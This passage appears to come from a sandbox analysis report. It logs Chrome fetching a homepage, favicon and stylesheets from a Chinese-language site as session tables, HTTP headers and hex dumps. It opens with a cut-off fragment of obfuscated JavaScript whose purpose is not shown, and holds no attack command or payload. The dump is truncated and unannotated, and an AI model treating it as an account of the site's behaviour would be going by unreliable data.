64 73 27 Data Ascii: ['concat'](iE['hJdYQm'](gr),'\x0a\x20\x20\x20\x20')['concat'](Math['random']()['toString'](0x24)['substr'](-0x8),'\x0a\x20\x20'),iE['KhuHSO']()),jd=j6['href'],gS={'id':j7['id'],'rt':j8,'tt':ae['ZNMTWj']['tt'],'kw':ae['ZNMTWj']['kw'],'ds':ae['ZNMTWj']['ds'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49722	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:46 UTC	350	OUT	GET /favicon.ico HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:46 UTC	232	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:21 GMT Content-Type: image/x-icon Content-Length: 27690 Last-Modified: Mon, 11 Mar 2024 09:12:08 GMT Connection: close ETag: "65eecae8-6c2a" Accept-Ranges: bytes
2024-09-27 03:50:46 UTC	16152	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 84 00 04 04 04 04 04 04 05 05 05 05 07 07 06 07 07 0a 09 08 08 09 0a 0f 0a 0b 0a 0b 0a 0f 16 0e 10 0e 0e 10 0e 16 14 18 13 12 13 18 14 23 1c 18 18 1c 23 29 22 20 22 29 31 2c 2c 31 3e 3b 3e 51 51 6d 01 04 04 04 04 04 04 05 05 05 05 07 07 06 07 07 0a 09 08 08 09 0a 0f 0a 0b 0a 0b 0a 0f 16 0e 10 0e 0e 10 0e 16 14 18 13 12 13 18 14 23 1c 18 18 1c 23 29 22 20 22 29 31 2c 2c 31 3e 3b 3e 51 51 6d ff c2 00 11 08 01 f5 01 f4 03 01 22 00 02 11 01 03 11 01 ff c4 00 36 00 01 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 03 01 02 04 05 06 07 08 01 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 01 05 06 07 02 03 04 08 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 f8 d4 49 d8 83 20 15 06 42 1d 06 97 Data Ascii: JFIFxx##)" ")1,,1>;>QQm##)" ")1,,1>;>QQm"6I B
2024-09-27 03:50:46 UTC	11538	IN	Data Raw: cb dd 82 cc ba 8d 2f f7 eb 13 a7 a1 02 94 94 7b 3c 03 94 62 ab 42 ba c4 bb 40 60 b5 87 2c 4e 03 ba 3d 37 18 59 cf 36 27 45 5c e3 d9 2d 4d 34 13 a6 5c dd ea d2 b0 0d a6 fc 47 38 b6 f3 51 54 7c 5b c3 04 96 6d 93 ac 4c 70 a5 dc 60 3c 95 89 6c 92 c0 fb 3a 1b 98 30 c1 bd 60 d7 65 ea 79 97 23 0c 6d 81 7a 9d b7 b3 54 22 d6 96 88 87 33 1a bd 89 43 bc dd 7c 22 0d 94 5b 95 06 0a 21 6a c4 c1 ed 59 ac c6 d6 90 6a ce c4 98 e5 40 49 dc b9 8f 2f 58 94 16 b9 8e 08 a5 63 11 bc c7 ed a6 06 55 2a 7f 0c 1e f3 40 b5 2d 6a 5d 8d c6 60 6f ed 06 a3 01 6c f6 a9 bf ac 4d b3 54 36 16 95 2d e6 1d 04 28 96 99 d3 13 18 47 29 c3 6a b2 2d 80 f7 8e 61 0c e3 d9 65 f6 4c cc 2d 7a 2c 0a 28 de 34 55 52 4c 5d 29 7f 0d 3f b9 83 da 66 00 44 9b 73 43 0b c0 b5 45 f1 2c 35 95 35 28 b9 8a 67 06 d2 Data Ascii: /{<bB@`,N=7Y6'E\-M4\G8QT\|[mLp`<l:0`ey#mzT"3C\|"[!jYj@I/XcU*@-j]`olMT6-(G)j-aeL-z,(4URL])?fDsCE,55(g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49783	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:53 UTC	638	OUT	GET / HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:53 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:28 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:50:53 UTC	16178	IN	Data Raw: 64 35 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 2d 43 4e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 76 61 72 20 56 5f 50 41 54 48 3d 22 2f 22 3b 77 69 6e 64 6f 77 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 20 72 65 74 75 72 6e 20 74 72 75 65 3b 20 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: d51a<!DOCTYPE html><html lang="zh-CN"><head><script>var V_PATH="/";window.onerror=function(){ return true; };</script> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device
2024-09-27 03:50:53 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e e5 ae a2 e6 88 b7 e6 9c 8d e5 8a a1 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e e5 ae a2 e6 88 b7 e6 9c 8d e5 8a a1 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 6e 65 77 73 2e 68 74 6d 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 72 73 74 2d 6c 65 76 65 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <p></p> <p></p> </div> </a> </li> <li> <a href="/news.html"> <div class="first-level">
2024-09-27 03:50:53 UTC	16384	IN	Data Raw: 79 68 35 33 33 33 38 38 e9 93 b6 e6 b2 b3 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6e 66 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 61 6d 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 22 3e 3c 69 6d 67 20 73 72 63 3d 22 20 20 68 74 74 70 73 3a 2f 2f 77 65 62 Data Ascii: yh533388"></div> </li> <li > <div class="info"> <div class="name"> <div class="i"><img src=" https://web
2024-09-27 03:50:53 UTC	5621	IN	Data Raw: 69 6d 61 67 65 3a 20 75 72 6c 28 2f 72 65 73 6f 75 72 63 65 73 2f 61 73 73 65 74 73 2f 69 6d 61 67 65 73 2f 70 35 2e 70 6e 67 29 3b 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 2f 72 65 73 6f 75 72 63 65 73 2f 61 73 73 65 74 73 2f 69 6d 61 67 65 73 2f 70 36 2e 70 6e 67 29 3b 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 20 6f 22 3e Data Ascii: image: url(/resources/assets/images/p5.png);"></div> <div class="b" style="background-image: url(/resources/assets/images/p6.png);"></div> </li> <li> <div class="b o">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49786	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:54 UTC	585	OUT	GET /resources/assets/lib/style/swiper-bundle.min.css?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:54 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:28 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:50:54 UTC	16178	IN	Data Raw: 33 66 35 35 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 77 69 70 65 72 2d 69 63 6f 6e 73 3b 73 72 63 3a 75 72 6c 28 27 64 61 74 61 3a 61 70 70 6c 69 63 61 74 69 6f 6e 2f 66 6f 6e 74 2d 77 6f 66 66 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3b 62 61 73 65 36 34 2c 20 64 30 39 47 52 67 41 42 41 41 41 41 41 41 5a 67 41 42 41 41 41 41 41 41 44 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 47 52 6c 52 4e 41 41 41 47 52 41 41 41 41 42 6f 41 41 41 41 63 69 36 71 48 6b 55 64 45 52 55 59 41 41 41 57 67 41 41 41 41 49 77 41 41 41 43 51 41 59 41 42 58 52 31 42 50 55 77 41 41 42 68 51 41 41 41 41 75 41 41 41 41 4e 75 41 59 37 2b 78 48 55 31 56 43 41 41 41 46 78 41 41 41 41 46 41 Data Ascii: 3f55@font-face{font-family:swiper-icons;src:url('data:application/font-woff;charset=utf-8;base64, d09GRgABAAAAAAZgABAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAAGRAAAABoAAAAci6qHkUdERUYAAAWgAAAAIwAAACQAYABXR1BPUwAABhQAAAAuAAAANuAY7+xHU1VCAAAFxAAAAFA
2024-09-27 03:50:54 UTC	48	IN	Data Raw: 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: ckface-visibility:hidden;overflow:hidden}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49784	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:54 UTC	579	OUT	GET /resources/assets/lib/style/animate.min.css?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:54 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:28 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:50:54 UTC	16178	IN	Data Raw: 66 66 61 38 0d 0a 40 63 68 61 72 73 65 74 20 22 75 74 66 2d 38 22 3b 0a 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 20 7b 0a 20 20 30 25 2c 0a 20 20 32 30 25 2c 0a 20 20 35 33 25 2c 0a 20 20 38 30 25 2c 0a 20 20 74 6f 20 7b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 32 31 35 2c 2e 36 31 2c 2e 33 35 35 2c 31 29 3b 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 32 31 35 2c 2e 36 31 2c 2e 33 35 35 2c 31 29 3b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 Data Ascii: ffa8@charset "utf-8";@-webkit-keyframes bounce { 0%, 20%, 53%, 80%, to { -webkit-animation-timing-function: cubic-bezier(.215,.61,.355,1); animation-timing-function: cubic-bezier(.215,.61,.355,1); -webkit-transform: translateZ(0)
2024-09-27 03:50:54 UTC	16384	IN	Data Raw: 35 70 78 2c 30 29 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 32 35 70 78 2c 30 29 3b 0a 20 20 7d 0a 0a 20 20 37 35 25 20 7b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 31 30 70 78 2c 30 29 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 31 30 70 78 2c 30 29 3b 0a 20 20 7d 0a 0a 20 20 39 30 25 20 7b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 35 70 78 2c 30 29 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 35 70 78 2c 30 29 3b 0a 20 20 7d 0a 0a 20 20 74 6f 20 7b 0a 20 20 20 Data Ascii: 5px,0); transform: translate3d(0,25px,0); } 75% { -webkit-transform: translate3d(0,-10px,0); transform: translate3d(0,-10px,0); } 90% { -webkit-transform: translate3d(0,5px,0); transform: translate3d(0,5px,0); } to {
2024-09-27 03:50:54 UTC	16384	IN	Data Raw: 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 7d 0a 0a 20 20 74 6f 20 7b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 31 30 30 25 2c 30 29 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 31 30 30 25 2c 30 29 3b 0a 20 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 4f 75 74 55 70 20 7b 0a 20 20 30 25 20 7b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 7d 0a 0a 20 20 74 6f 20 7b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 2d 31 30 30 25 2c 30 29 Data Ascii: opacity: 1; } to { opacity: 0; -webkit-transform: translate3d(0,-100%,0); transform: translate3d(0,-100%,0); }}@keyframes fadeOutUp { 0% { opacity: 1; } to { opacity: 0; -webkit-transform: translate3d(0,-100%,0)
2024-09-27 03:50:54 UTC	16384	IN	Data Raw: 6d 3b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 34 35 64 65 67 29 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 34 35 64 65 67 29 3b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 7d 0a 7d 0a 0a 2e 72 6f 74 61 74 65 4f 75 74 44 6f 77 6e 4c 65 66 74 20 7b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 72 6f 74 61 74 65 4f 75 74 44 6f 77 6e 4c 65 66 74 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 72 6f 74 61 74 65 4f 75 74 44 6f 77 6e 4c 65 66 74 3b 0a 7d 0a 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 72 6f 74 61 74 65 4f 75 74 44 6f 77 6e 52 69 67 68 74 20 7b 0a 20 20 30 25 20 7b 0a 20 20 20 20 2d 77 65 62 6b Data Ascii: m; -webkit-transform: rotate(45deg); transform: rotate(45deg); opacity: 0; }}.rotateOutDownLeft { -webkit-animation-name: rotateOutDownLeft; animation-name: rotateOutDownLeft;}@-webkit-keyframes rotateOutDownRight { 0% { -webk
2024-09-27 03:50:54 UTC	6556	IN	Data Raw: 6e 63 74 69 6f 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 31 37 35 2c 2e 38 38 35 2c 2e 33 32 2c 31 29 3b 0a 20 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 7a 6f 6f 6d 4f 75 74 55 70 20 7b 0a 20 20 34 30 25 20 7b 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 2e 0d 0a 31 39 31 31 0d 0a 34 37 35 2c 2e 34 37 35 2c 2e 34 37 35 29 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 36 30 70 78 2c 30 29 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 33 64 28 2e 34 37 35 2c 2e 34 37 35 2c 2e 34 37 35 29 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 36 30 70 78 2c 30 29 3b 0a 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 Data Ascii: nction: cubic-bezier(.175,.885,.32,1); }}@keyframes zoomOutUp { 40% { opacity: 1; -webkit-transform: scale3d(.1911475,.475,.475) translate3d(0,60px,0); transform: scale3d(.475,.475,.475) translate3d(0,60px,0); -webkit-animation-t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49785	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:54 UTC	574	OUT	GET /resources/assets/lib/style/common.css?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:54 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:28 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
2024-09-27 03:50:54 UTC	16178	IN	Data Raw: 39 39 61 38 0d 0a 40 63 68 61 72 73 65 74 20 22 75 74 66 2d 38 22 3b 0a 0a 2a 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0a 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 0a 75 6c 2c 0a 6c 69 20 7b 0a 09 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0a 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 0a 61 20 7b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 3a 3a 73 65 6c 65 63 74 69 6f 6e 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 30 33 65 36 64 3b 0a Data Ascii: 99a8@charset "utf-8";* {margin: 0px;padding: 0px;box-sizing: border-box;}ul,li {list-style: none;margin: 0px;padding: 0px;box-sizing: border-box;}a {text-decoration: none;color: #000000;}::selection {background: #003e6d;
2024-09-27 03:50:54 UTC	16384	IN	Data Raw: 6d 65 20 7b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 35 70 78 3b 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 31 29 3b 0a 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 35 70 78 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 20 65 6c 6c 69 70 73 69 73 3b 0a 09 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0a 7d 0a 0a 2e 6e 65 77 73 54 65 78 74 20 75 6c 20 6c 69 20 61 20 2e 69 6e 66 6f 20 2e Data Ascii: me {width: 100%;height: auto;position: relative;font-size: 18px;line-height: 35px;border-bottom: 1px solid rgba(0, 0, 0, .1);padding-bottom: 5px;overflow: hidden;text-overflow: ellipsis;white-space: nowrap;}.newsText ul li a .info .
2024-09-27 03:50:54 UTC	6787	IN	Data Raw: 65 73 2f 63 6f 6d 6d 6f 6e 2f 6e 6f 74 69 5f 69 63 6f 6e 2e 70 6e 67 29 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 70 78 20 61 75 74 6f 3b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 35 70 78 3b 0a 7d 0a 2e 74 6f 61 73 74 2e 69 63 6f 6e 2d 77 61 72 6e 69 6e 67 20 69 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 2d 33 35 70 78 20 30 70 78 3b 0a 7d 0a 2e 74 6f 61 73 74 2e 61 63 74 69 76 65 20 7b 0a 09 6f 70 61 63 69 74 79 3a 20 31 3b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 20 76 69 73 69 62 6c 65 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 35 30 25 29 20 74 72 61 6e 73 6c 61 74 65 58 28 2d 35 30 25 Data Ascii: es/common/noti_icon.png);background-size: cover;margin: 0px auto;margin-bottom: 15px;}.toast.icon-warning i{background-position: -35px 0px;}.toast.active {opacity: 1;visibility: visible;-webkit-transform: translateY(-50%) translateX(-50%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49787	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:54 UTC	580	OUT	GET /resources/assets/style/sichuang.shutime.css?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:54 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:28 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
